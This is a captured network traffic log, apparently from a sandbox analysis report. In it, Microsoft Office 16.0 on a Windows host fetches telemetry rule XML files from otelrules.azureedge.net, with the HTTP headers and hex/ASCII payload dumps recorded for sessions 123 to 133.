2024-10-30 06:28:28 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:28 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: c9c29ab6-a01e-0032-2092-291949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062828Z-17c5cb586f6wnfhvhw6gvetfh4000000077g000000001p07 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:28 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49959	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:28 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:28 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:28 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 60449bdf-301e-005d-500b-26e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062828Z-16849878b78zqkvcwgr6h55x9n000000071g00000000e62a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:28 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49961	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:28 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:28 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:28 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 338a3e6d-c01e-0079-709c-27e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062828Z-16849878b7867ttgfbpnfxt44s00000007dg00000000hmsy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:28 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49962	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:28 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:28 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:28 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 4b09b00a-d01e-0028-11e9-297896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062828Z-r197bdfb6b4xfp4mncra29rqkc00000000zg00000000ea45 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:28 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49963	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:29 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:29 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:29 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 9a40e34d-b01e-005c-559c-274c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062829Z-16849878b7828dsgct3vrzta7000000005y000000000pupa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:29 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49964	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:29 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:29 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:29 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: e02f31dd-001e-0082-0849-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062829Z-15b8d89586fzhrwgk23ex2bvhw0000000amg000000006szs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:29 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49965	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:29 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:29 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:29 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 2ea78088-901e-0083-5428-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062829Z-15b8d89586fmhjx6a8nf3qm53c00000001g0000000007fbd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:29 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49967	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:29 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:29 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:29 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 3b873659-401e-0067-0d93-2909c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062829Z-r197bdfb6b4gx6v9pg74w9f47s00000009ug0000000022da x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:29 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49966	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:29 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:29 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:29 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: cc0127df-201e-0003-7bc7-27f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062829Z-17c5cb586f65j4snvy39m6qus40000000310000000003fkc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 06:28:29 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49968	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:30 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:30 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:30 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 48a66efd-001e-00a2-625d-26d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062830Z-r197bdfb6b4hsj5bywyqk9r2xw000000095g000000004kbw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:30 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49969	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:30 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:30 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:30 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: d4940829-c01e-0014-691e-27a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062830Z-17c5cb586f6mhqqby1dwph2kzs00000002y0000000007u7d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:30 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49970	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:30 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:30 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:30 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: c49cf7be-b01e-0002-3880-271b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062830Z-16849878b78hh85qc40uyr8sc800000007zg000000004g5m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
